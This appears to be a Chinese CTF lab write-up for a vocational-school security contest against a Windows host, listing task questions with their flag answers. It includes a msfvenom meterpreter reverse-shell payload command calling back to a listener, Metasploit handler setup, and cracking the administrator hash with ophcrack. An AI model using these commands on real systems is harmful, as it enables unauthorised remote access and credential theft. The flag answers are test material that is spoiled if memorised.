中职组安全-win20230217-环境-解析

*任务说明:

仅能获取win20230217的IP地址

用户名:test,密码:123456

  1. 访问服务器主机,找到主机中管理员名称,将管理员名称作为Flag值提交;

john

  1. 访问服务器主机,找到主机中补丁信息,将补丁编号作为Flag值提交;

KB4500331

查看方法如下:打开"开始"菜单。

单击"控制面板"

打开"添加删除程序"。

在弹出来的窗口左上角有"查看已安装的更新"选项。

3·访问服务器主机,找到主机中管理员密码,将管理员密码作为Flag值提交;

Goodluck

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.100.100.119 LPORT=4444 -b"\x00" -f exe > aiyou.exe将驱动开启就可以传文件到靶机运行

1、启动Metasploit,use exploit/multi/handler

2、设置payload,set payload windows/meterpreter/reverse_tcp

3、设置监听,set lhost ip

4、设置监听端口,set lport 4444

将John的hash弄到ophcrack密码出来了

4·访问服务器主机,找到主机中管理员桌面下文本文档信息,将文本文档名称作为Flag值提交;

ruK97azZp4

5·访问服务器主机,找到主机中管理员桌面下文本文档信息,将文本文档中信息作为Flag值提交;

rdO35NBXXi

6·访问服务器主机,找到主机中回收站唯一信息,将信息中的内容作为Flag值提交。

VX1DUEv95s

修改administrator的密码,登录进去回收站查看

相关推荐
智慧化智能化数字化方案31 分钟前
解读113页企业信息化架构成熟度评估指标及能力提升【附全文阅读】
网络·安全·架构·企业信息化架构成熟度评估指标
long跨境电商1 小时前
2026亚马逊新风口:自养号测评系统提前布局,店铺竞争力快人一步
大数据·服务器·安全
谈思汽车1 小时前
TEE or HSM/SE?车载安全技术选型指南
嵌入式硬件·安全·智能汽车·可信执行环境·汽车信息安全
低调小一1 小时前
Google A2UI 入门:让 Agent “说 UI”,用声明式 JSON 安全渲染到原生界面
人工智能·安全·ui·json
恒美智造1 小时前
TOC分析仪技术研究报告:水质安全的精准标尺与关键洞察
安全·toc分析仪·总有机碳分析仪·水中总有机碳分析仪·总有机碳toc分析仪
A小辣椒2 小时前
WordPress如何隐藏后台登陆网址
安全·wordpress
未知鱼2 小时前
XSS、CSRF、SSRF攻击原理与防护全解析
前端·安全·web安全·网络安全·系统安全·xss·csrf
应用市场4 小时前
汽车AEB与安全系统全解析——从传感器到紧急制动的完整链路
安全·汽车
sld1684 小时前
动态防御筑牢数字防线:WAAP赋能企业安全转型
网络·安全·web安全